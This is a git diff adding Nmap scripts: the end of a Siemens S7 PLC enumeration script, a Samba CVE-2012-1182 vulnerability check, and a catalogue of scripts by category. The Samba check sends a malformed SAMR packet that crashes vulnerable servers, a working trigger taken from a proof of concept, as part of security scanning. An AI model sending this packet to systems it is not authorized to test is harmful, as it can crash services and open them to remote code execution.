+ -- send and receive the COTP Packet
+ response = send_receive(sock, COTP, 6)
+ -- unpack the PDU Type
+ local CC_connect_confirm = string.byte(response, 6)
+ -- if PDU type is not 0xd0, then not a successful COTP connection
+ if ( CC_connect_confirm ~= 0xd0) then
+ sock:close()
+ -- create socket for communications
+ stdnse.debug1('S7INFO:: CREATING NEW SOCKET')
+ sock = nmap.new_socket()
+ -- connect to host
+ local constatus, conerr = sock:connect(host, port)
+ if not constatus then
+ stdnse.debug1('Error establishing connection for %s - %s', host, conerr)
+ return nil
+ end
+ response = send_receive(sock, alt_COTP, 6)
+ local CC_connect_confirm = string.byte(response, 6)
+ if ( CC_connect_confirm ~= 0xd0) then
+ stdnse.debug1('S7 INFO:: Could not negotiate COTP')
+ return nil
+ end
+ end
+ -- send and receive the ROSCTR Setup Packet
+ response = send_receive(sock, ROSCTR_Setup, 8)
+ -- unpack the protocol ID
+ local protocol_id = string.byte(response, 8)
+ -- if protocol ID is not 0x32 then return nil
+ if ( protocol_id ~= 0x32) then
+ return nil
+ end
+ -- send and receive the READ_SZL packet
+ response = send_receive(sock, Read_SZL, 8)
+ local protocol_id = string.byte(response, 8)
+ -- if protocol ID is not 0x32 then return nil
+ if ( protocol_id ~= 0x32) then
+ return nil
+ end
+ -- send and receive the first SZL Request packet
+ response = send_receive(sock, first_SZL_Request, 125)
+ -- parse the response for basic hardware information
+ output = parse_response(response, host, port, output)
+ -- send and receive the second SZL Request packet
+ response = send_receive(sock, second_SZL_Request, 180)
+ -- parse the response for more information
+ output = second_parse_response(response, output)
+ -- close the socket
+ sock:close()
+
+ -- If we parsed anything, then set the version info for Nmap
+ if #output > 0 then
+ set_nmap(host, port)
+ end
+ -- return output to Nmap
+ return output
+
+end
diff --git a/scripts/samba-vuln-cve-2012-1182.nse b/scripts/samba-vuln-cve-2012-1182.nse
new file mode 100644
index 0000000..8e33c80
--- /dev/null
+++ b/scripts/samba-vuln-cve-2012-1182.nse
@@ -0,0 +1,130 @@
+local msrpc = require "msrpc"
+local smb = require "smb"
+local string = require "string"
+local vulns = require "vulns"
+local stdnse = require "stdnse"
+
+description = [[
+Checks if target machines are vulnerable to the Samba heap overflow vulnerability CVE-2012-1182.
+
+Samba versions 3.6.3 and all versions previous to this are affected by
+a vulnerability that allows remote code execution as the "root" user
+from an anonymous connection.
+
+
+CVE-2012-1182 marks multiple heap overflow vulnerabilities located in
+PIDL based autogenerated code. This check script is based on PoC by ZDI
+marked as ZDI-CAN-1503. Vulnerability lies in ndr_pull_lsa_SidArray
+function where an attacker is under control of num_sids and can cause
+insufficient memory to be allocated, leading to heap buffer overflow
+and possibility of remote code execution.
+
+Script builds a malicious packet and makes a SAMR GetAliasMembership
+call which triggers the vulnerability. On the vulnerable system,
+connection is dropped and result is "Failed to receive bytes after 5 attempts".
+On patched system, samba throws an error and result is "MSRPC call
+returned a fault (packet type)".
+
+References:
+* https://bugzilla.samba.org/show_bug.cgi?id=8815
+* http://www.samba.org/samba/security/CVE-2012-1182
+
+]]
+
+-----------------------------------------------------------------------
+---
+-- @usage
+-- nmap --script=samba-vuln-cve-2012-1182 -p 139 <target>
+-- @output
+-- PORT STATE SERVICE
+-- 139/tcp open netbios-ssn
+--
+-- Host script results:
+-- | samba-vuln-cve-2012-1182:
+-- | VULNERABLE:
+-- | SAMBA remote heap overflow
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2012-1182
+-- | Risk factor: HIGH CVSSv2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)
+-- | Description:
+-- | Samba versions 3.6.3 and all versions previous to this are affected by
+-- | a vulnerability that allows remote code execution as the "root" user
+-- | from an anonymous connection.
+-- |
+-- | Disclosure date: 2012-03-15
+-- | References:
+-- | http://www.samba.org/samba/security/CVE-2012-1182
+-- |_ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1182
+
+author = "Aleksandar Nikolic"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln","intrusive"}
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+action = function(host,port)
+
+ local result, stats
+ local response = {}
+
+ local samba_cve = {
+ title = "SAMBA remote heap overflow",
+ IDS = {CVE = 'CVE-2012-1182'},
+ risk_factor = "HIGH",
+ scores = {
+ CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
+ },
+ description = [[
+Samba versions 3.6.3 and all versions previous to this are affected by
+a vulnerability that allows remote code execution as the "root" user
+from an anonymous connection.
+]],
+ references = {
+ 'http://www.samba.org/samba/security/CVE-2012-1182',
+ },
+ dates = {
+ disclosure = {year = '2012', month = '03', day = '15'},
+ },
+ exploit_results = {},
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ samba_cve.state = vulns.STATE.NOT_VULN
+
+ -- create SMB session
+ local status, smbstate
+ status, smbstate = msrpc.start_smb(host, msrpc.SAMR_PATH,true)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- bind to SAMR service
+ local bind_result
+ status, bind_result = msrpc.bind(smbstate, msrpc.SAMR_UUID, msrpc.SAMR_VERSION, nil)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, bind_result
+ end
+
+ -- create malicious packet, same as in the PoC
+ local data = string.pack("<I4",4096) -- num_sids
+ .. "abcd"
+ ..string.pack("<I4I4I4",100
+ ,0
+ ,100)
+ ..string.rep("a",1000)
+
+ local marshaledHandle = string.rep("X",20)
+ status, result = msrpc.samr_getaliasmembership(smbstate,marshaledHandle, data)
+ stdnse.debug2("msrpc.samr_getaliasmembership: %s, '%s'", status, result)
+ if(status == false and string.find(result,"Failed to receive bytes after 5 attempts") ~= nil) then
+ samba_cve.state = vulns.STATE.VULN -- connection dropped, server crashed
+ end
+
+ return report:make_output(samba_cve)
+
+end
+
+
diff --git a/scripts/script.db b/scripts/script.db
new file mode 100644
index 0000000..df9899f
--- /dev/null
+++ b/scripts/script.db
@@ -0,0 +1,605 @@
+Entry { filename = "acarsd-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "address-info.nse", categories = { "default", "safe", } }
+Entry { filename = "afp-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "afp-ls.nse", categories = { "discovery", "safe", } }
+Entry { filename = "afp-path-vuln.nse", categories = { "exploit", "intrusive", "vuln", } }
+Entry { filename = "afp-serverinfo.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "afp-showmount.nse", categories = { "discovery", "safe", } }
+Entry { filename = "ajp-auth.nse", categories = { "auth", "default", "safe", } }
+Entry { filename = "ajp-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "ajp-headers.nse", categories = { "discovery", "safe", } }
+Entry { filename = "ajp-methods.nse", categories = { "default", "safe", } }
+Entry { filename = "ajp-request.nse", categories = { "discovery", "safe", } }
+Entry { filename = "allseeingeye-info.nse", categories = { "discovery", "safe", "version", } }
+Entry { filename = "amqp-info.nse", categories = { "default", "discovery", "safe", "version", } }
+Entry { filename = "asn-query.nse", categories = { "discovery", "external", "safe", } }
+Entry { filename = "auth-owners.nse", categories = { "default", "safe", } }
+Entry { filename = "auth-spoof.nse", categories = { "malware", "safe", } }
+Entry { filename = "backorifice-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "backorifice-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "bacnet-info.nse", categories = { "discovery", "version", } }
+Entry { filename = "banner.nse", categories = { "discovery", "safe", } }
+Entry { filename = "bitcoin-getaddr.nse", categories = { "discovery", "safe", } }
+Entry { filename = "bitcoin-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "bitcoinrpc-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "bittorrent-discovery.nse", categories = { "discovery", "safe", } }
+Entry { filename = "bjnp-discover.nse", categories = { "discovery", "safe", } }
+Entry { filename = "broadcast-ataoe-discover.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-avahi-dos.nse", categories = { "broadcast", "dos", "intrusive", "vuln", } }
+Entry { filename = "broadcast-bjnp-discover.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-db2-discover.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-dhcp-discover.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-dhcp6-discover.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-dns-service-discovery.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-dropbox-listener.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-eigrp-discovery.nse", categories = { "broadcast", "discovery", "safe", } }
+Entry { filename = "broadcast-hid-discoveryd.nse", categories = { "broadcast", "discovery", "safe", } }
+Entry { filename = "broadcast-igmp-discovery.nse", categories = { "broadcast", "discovery", "safe", } }
+Entry { filename = "broadcast-jenkins-discover.nse", categories = { "broadcast", "discovery", "safe", } }
+Entry { filename = "broadcast-listener.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-ms-sql-discover.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-netbios-master-browser.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-networker-discover.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-novell-locate.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-ospf2-discover.nse", categories = { "broadcast", "discovery", "safe", } }
+Entry { filename = "broadcast-pc-anywhere.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-pc-duo.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-pim-discovery.nse", categories = { "broadcast", "discovery", "safe", } }
+Entry { filename = "broadcast-ping.nse", categories = { "broadcast", "discovery", "safe", } }
+Entry { filename = "broadcast-pppoe-discover.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-rip-discover.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-ripng-discover.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-sonicwall-discover.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-sybase-asa-discover.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-tellstick-discover.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-upnp-info.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-versant-locate.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-wake-on-lan.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-wpad-discover.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-wsdd-discover.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "broadcast-xdmcp-discover.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "cassandra-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "cassandra-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "cccam-version.nse", categories = { "version", } }
+Entry { filename = "cics-enum.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "cics-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "cics-user-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "cics-user-enum.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "citrix-brute-xml.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "citrix-enum-apps-xml.nse", categories = { "discovery", "safe", } }
+Entry { filename = "citrix-enum-apps.nse", categories = { "discovery", "safe", } }
+Entry { filename = "citrix-enum-servers-xml.nse", categories = { "discovery", "safe", } }
+Entry { filename = "citrix-enum-servers.nse", categories = { "discovery", "safe", } }
+Entry { filename = "clamav-exec.nse", categories = { "exploit", "vuln", } }
+Entry { filename = "clock-skew.nse", categories = { "default", "safe", } }
+Entry { filename = "coap-resources.nse", categories = { "discovery", "safe", } }
+Entry { filename = "couchdb-databases.nse", categories = { "discovery", "safe", } }
+Entry { filename = "couchdb-stats.nse", categories = { "discovery", "safe", } }
+Entry { filename = "creds-summary.nse", categories = { "auth", "default", "safe", } }
+Entry { filename = "cups-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "cups-queue-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "cvs-brute-repository.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "cvs-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "daap-get-library.nse", categories = { "discovery", "safe", } }
+Entry { filename = "daytime.nse", categories = { "discovery", "safe", } }
+Entry { filename = "db2-das-info.nse", categories = { "discovery", "safe", "version", } }
+Entry { filename = "deluge-rpc-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "dhcp-discover.nse", categories = { "discovery", "safe", } }
+Entry { filename = "dicom-brute.nse", categories = { "auth", "brute", } }
+Entry { filename = "dicom-ping.nse", categories = { "auth", "default", "discovery", "safe", } }
+Entry { filename = "dict-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "distcc-cve2004-2687.nse", categories = { "exploit", "intrusive", "vuln", } }
+Entry { filename = "dns-blacklist.nse", categories = { "external", "safe", } }
+Entry { filename = "dns-brute.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "dns-cache-snoop.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "dns-check-zone.nse", categories = { "discovery", "external", "safe", } }
+Entry { filename = "dns-client-subnet-scan.nse", categories = { "discovery", "safe", } }
+Entry { filename = "dns-fuzz.nse", categories = { "fuzzer", "intrusive", } }
+Entry { filename = "dns-ip6-arpa-scan.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "dns-nsec-enum.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "dns-nsec3-enum.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "dns-nsid.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "dns-random-srcport.nse", categories = { "external", "intrusive", } }
+Entry { filename = "dns-random-txid.nse", categories = { "external", "intrusive", } }
+Entry { filename = "dns-recursion.nse", categories = { "default", "safe", } }
+Entry { filename = "dns-service-discovery.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "dns-srv-enum.nse", categories = { "discovery", "safe", } }
+Entry { filename = "dns-update.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "dns-zeustracker.nse", categories = { "discovery", "external", "malware", "safe", } }
+Entry { filename = "dns-zone-transfer.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "docker-version.nse", categories = { "version", } }
+Entry { filename = "domcon-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "domcon-cmd.nse", categories = { "auth", "intrusive", } }
+Entry { filename = "domino-enum-users.nse", categories = { "auth", "intrusive", } }
+Entry { filename = "dpap-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "drda-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "drda-info.nse", categories = { "discovery", "safe", "version", } }
+Entry { filename = "duplicates.nse", categories = { "safe", } }
+Entry { filename = "eap-info.nse", categories = { "broadcast", "safe", } }
+Entry { filename = "enip-info.nse", categories = { "discovery", "version", } }
+Entry { filename = "epmd-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "eppc-enum-processes.nse", categories = { "discovery", "safe", } }
+Entry { filename = "fcrdns.nse", categories = { "discovery", "safe", } }
+Entry { filename = "finger.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "fingerprint-strings.nse", categories = { "version", } }
+Entry { filename = "firewalk.nse", categories = { "discovery", "safe", } }
+Entry { filename = "firewall-bypass.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "flume-master-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "fox-info.nse", categories = { "discovery", "version", } }
+Entry { filename = "freelancer-info.nse", categories = { "default", "discovery", "safe", "version", } }
+Entry { filename = "ftp-anon.nse", categories = { "auth", "default", "safe", } }
+Entry { filename = "ftp-bounce.nse", categories = { "default", "safe", } }
+Entry { filename = "ftp-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "ftp-libopie.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "ftp-proftpd-backdoor.nse", categories = { "exploit", "intrusive", "malware", "vuln", } }
+Entry { filename = "ftp-syst.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "ftp-vsftpd-backdoor.nse", categories = { "exploit", "intrusive", "malware", "vuln", } }
+Entry { filename = "ftp-vuln-cve2010-4221.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "ganglia-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "giop-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "gkrellm-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "gopher-ls.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "gpsd-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "hadoop-datanode-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "hadoop-jobtracker-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "hadoop-namenode-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "hadoop-secondary-namenode-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "hadoop-tasktracker-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "hbase-master-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "hbase-region-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "hddtemp-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "hnap-info.nse", categories = { "default", "discovery", "safe", "version", } }
+Entry { filename = "hostmap-bfk.nse", categories = { "discovery", "external", } }
+Entry { filename = "hostmap-crtsh.nse", categories = { "discovery", "external", } }
+Entry { filename = "hostmap-robtex.nse", categories = { "discovery", "external", "safe", } }
+Entry { filename = "http-adobe-coldfusion-apsa1301.nse", categories = { "exploit", "vuln", } }
+Entry { filename = "http-affiliate-id.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-apache-negotiation.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-apache-server-status.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-aspnet-debug.nse", categories = { "discovery", "vuln", } }
+Entry { filename = "http-auth-finder.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-auth.nse", categories = { "auth", "default", "safe", } }
+Entry { filename = "http-avaya-ipoffice-users.nse", categories = { "exploit", "vuln", } }
+Entry { filename = "http-awstatstotals-exec.nse", categories = { "exploit", "intrusive", "vuln", } }
+Entry { filename = "http-axis2-dir-traversal.nse", categories = { "exploit", "intrusive", "vuln", } }
+Entry { filename = "http-backup-finder.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-barracuda-dir-traversal.nse", categories = { "auth", "exploit", "intrusive", } }
+Entry { filename = "http-bigip-cookie.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "http-cakephp-version.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-chrono.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "http-cisco-anyconnect.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "http-coldfusion-subzero.nse", categories = { "exploit", } }
+Entry { filename = "http-comments-displayer.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-config-backup.nse", categories = { "auth", "intrusive", } }
+Entry { filename = "http-cookie-flags.nse", categories = { "default", "safe", "vuln", } }
+Entry { filename = "http-cors.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "http-cross-domain-policy.nse", categories = { "external", "safe", "vuln", } }
+Entry { filename = "http-csrf.nse", categories = { "exploit", "intrusive", "vuln", } }
+Entry { filename = "http-date.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-default-accounts.nse", categories = { "auth", "discovery", "intrusive", } }
+Entry { filename = "http-devframework.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "http-dlink-backdoor.nse", categories = { "exploit", "vuln", } }
+Entry { filename = "http-dombased-xss.nse", categories = { "exploit", "intrusive", "vuln", } }
+Entry { filename = "http-domino-enum-passwords.nse", categories = { "auth", "intrusive", } }
+Entry { filename = "http-drupal-enum-users.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "http-drupal-enum.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "http-enum.nse", categories = { "discovery", "intrusive", "vuln", } }
+Entry { filename = "http-errors.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "http-exif-spider.nse", categories = { "intrusive", } }
+Entry { filename = "http-favicon.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "http-feed.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "http-fetch.nse", categories = { "safe", } }
+Entry { filename = "http-fileupload-exploiter.nse", categories = { "exploit", "intrusive", "vuln", } }
+Entry { filename = "http-form-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "http-form-fuzzer.nse", categories = { "fuzzer", "intrusive", } }
+Entry { filename = "http-frontpage-login.nse", categories = { "safe", "vuln", } }
+Entry { filename = "http-generator.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "http-git.nse", categories = { "default", "safe", "vuln", } }
+Entry { filename = "http-gitweb-projects-enum.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-google-malware.nse", categories = { "discovery", "external", "malware", "safe", } }
+Entry { filename = "http-grep.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-headers.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-hp-ilo-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-huawei-hg5xx-vuln.nse", categories = { "exploit", "vuln", } }
+Entry { filename = "http-icloud-findmyiphone.nse", categories = { "discovery", "external", "safe", } }
+Entry { filename = "http-icloud-sendmsg.nse", categories = { "discovery", "external", "safe", } }
+Entry { filename = "http-iis-short-name-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "http-iis-webdav-vuln.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "http-internal-ip-disclosure.nse", categories = { "discovery", "safe", "vuln", } }
+Entry { filename = "http-joomla-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "http-jsonp-detection.nse", categories = { "discovery", "safe", "vuln", } }
+Entry { filename = "http-litespeed-sourcecode-download.nse", categories = { "exploit", "intrusive", "vuln", } }
+Entry { filename = "http-ls.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "http-majordomo2-dir-traversal.nse", categories = { "exploit", "intrusive", "vuln", } }
+Entry { filename = "http-malware-host.nse", categories = { "malware", "safe", } }
+Entry { filename = "http-mcmp.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-method-tamper.nse", categories = { "auth", "vuln", } }
+Entry { filename = "http-methods.nse", categories = { "default", "safe", } }
+Entry { filename = "http-mobileversion-checker.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-ntlm-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "http-open-proxy.nse", categories = { "default", "discovery", "external", "safe", } }
+Entry { filename = "http-open-redirect.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "http-passwd.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "http-php-version.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-phpmyadmin-dir-traversal.nse", categories = { "exploit", "vuln", } }
+Entry { filename = "http-phpself-xss.nse", categories = { "fuzzer", "intrusive", "vuln", } }
+Entry { filename = "http-proxy-brute.nse", categories = { "brute", "external", "intrusive", } }
+Entry { filename = "http-put.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "http-qnap-nas-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-referer-checker.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-rfi-spider.nse", categories = { "intrusive", } }
+Entry { filename = "http-robots.txt.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "http-robtex-reverse-ip.nse", categories = { "discovery", "external", "safe", } }
+Entry { filename = "http-robtex-shared-ns.nse", categories = { "discovery", "external", "safe", } }
+Entry { filename = "http-sap-netweaver-leak.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-security-headers.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-server-header.nse", categories = { "version", } }
+Entry { filename = "http-shellshock.nse", categories = { "exploit", "intrusive", "vuln", } }
+Entry { filename = "http-sitemap-generator.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "http-slowloris-check.nse", categories = { "safe", "vuln", } }
+Entry { filename = "http-slowloris.nse", categories = { "dos", "intrusive", } }
+Entry { filename = "http-sql-injection.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "http-stored-xss.nse", categories = { "exploit", "intrusive", "vuln", } }
+Entry { filename = "http-svn-enum.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "http-svn-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "http-title.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "http-tplink-dir-traversal.nse", categories = { "exploit", "vuln", } }
+Entry { filename = "http-trace.nse", categories = { "discovery", "safe", "vuln", } }
+Entry { filename = "http-traceroute.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-trane-info.nse", categories = { "discovery", "safe", "version", } }
+Entry { filename = "http-unsafe-output-escaping.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "http-useragent-tester.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-userdir-enum.nse", categories = { "auth", "intrusive", } }
+Entry { filename = "http-vhosts.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "http-virustotal.nse", categories = { "external", "malware", "safe", } }
+Entry { filename = "http-vlcstreamer-ls.nse", categories = { "discovery", "safe", } }
+Entry { filename = "http-vmware-path-vuln.nse", categories = { "safe", "vuln", } }
+Entry { filename = "http-vuln-cve2006-3392.nse", categories = { "exploit", "intrusive", "vuln", } }
+Entry { filename = "http-vuln-cve2009-3960.nse", categories = { "exploit", "intrusive", "vuln", } }
+Entry { filename = "http-vuln-cve2010-0738.nse", categories = { "auth", "safe", "vuln", } }
+Entry { filename = "http-vuln-cve2010-2861.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "http-vuln-cve2011-3192.nse", categories = { "safe", "vuln", } }
+Entry { filename = "http-vuln-cve2011-3368.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "http-vuln-cve2012-1823.nse", categories = { "exploit", "intrusive", "vuln", } }
+Entry { filename = "http-vuln-cve2013-0156.nse", categories = { "exploit", "vuln", } }
+Entry { filename = "http-vuln-cve2013-6786.nse", categories = { "exploit", "vuln", } }
+Entry { filename = "http-vuln-cve2013-7091.nse", categories = { "exploit", "intrusive", "vuln", } }
+Entry { filename = "http-vuln-cve2014-2126.nse", categories = { "safe", "vuln", } }
+Entry { filename = "http-vuln-cve2014-2127.nse", categories = { "safe", "vuln", } }
+Entry { filename = "http-vuln-cve2014-2128.nse", categories = { "safe", "vuln", } }
+Entry { filename = "http-vuln-cve2014-2129.nse", categories = { "safe", "vuln", } }
+Entry { filename = "http-vuln-cve2014-3704.nse", categories = { "exploit", "intrusive", "vuln", } }
+Entry { filename = "http-vuln-cve2014-8877.nse", categories = { "exploit", "intrusive", "vuln", } }
+Entry { filename = "http-vuln-cve2015-1427.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "http-vuln-cve2015-1635.nse", categories = { "safe", "vuln", } }
+Entry { filename = "http-vuln-cve2017-1001000.nse", categories = { "safe", "vuln", } }
+Entry { filename = "http-vuln-cve2017-5638.nse", categories = { "vuln", } }
+Entry { filename = "http-vuln-cve2017-5689.nse", categories = { "auth", "exploit", "vuln", } }
+Entry { filename = "http-vuln-cve2017-8917.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "http-vuln-misfortune-cookie.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "http-vuln-wnr1000-creds.nse", categories = { "exploit", "intrusive", "vuln", } }
+Entry { filename = "http-waf-detect.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "http-waf-fingerprint.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "http-webdav-scan.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "http-wordpress-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "http-wordpress-enum.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "http-wordpress-users.nse", categories = { "auth", "intrusive", "vuln", } }
+Entry { filename = "http-xssed.nse", categories = { "discovery", "external", "safe", } }
+Entry { filename = "https-redirect.nse", categories = { "version", } }
+Entry { filename = "iax2-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "iax2-version.nse", categories = { "version", } }
+Entry { filename = "icap-info.nse", categories = { "discovery", "safe", } }
+Entry { filename = "iec-identify.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "ike-version.nse", categories = { "default", "discovery", "safe", "version", } }
+Entry { filename = "imap-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "imap-capabilities.nse", categories = { "default", "safe", } }
+Entry { filename = "imap-ntlm-info.nse", categories = { "default", "discovery", "safe", } }
+Entry { filename = "impress-remote-discover.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "informix-brute.nse", categories = { "brute", "intrusive", } }
+Entry { filename = "informix-query.nse", categories = { "auth", "intrusive", } }
+Entry { filename = "informix-tables.nse", categories = { "auth", "intrusive", } }
+Entry { filename = "ip-forwarding.nse", categories = { "discovery", "safe", } }
+Entry { filename = "ip-geolocation-geoplugin.nse", categories = { "discovery", "external", "safe", } }
+Entry { filename = "ip-geolocation-ipinfodb.nse", categories = { "discovery", "external", "safe", } }
+Entry { filename = "ip-geolocation-map-bing.nse", categories = { "external", "safe", } }
+Entry { filename = "ip-geolocation-map-google.nse", categories = { "external", "safe", } }
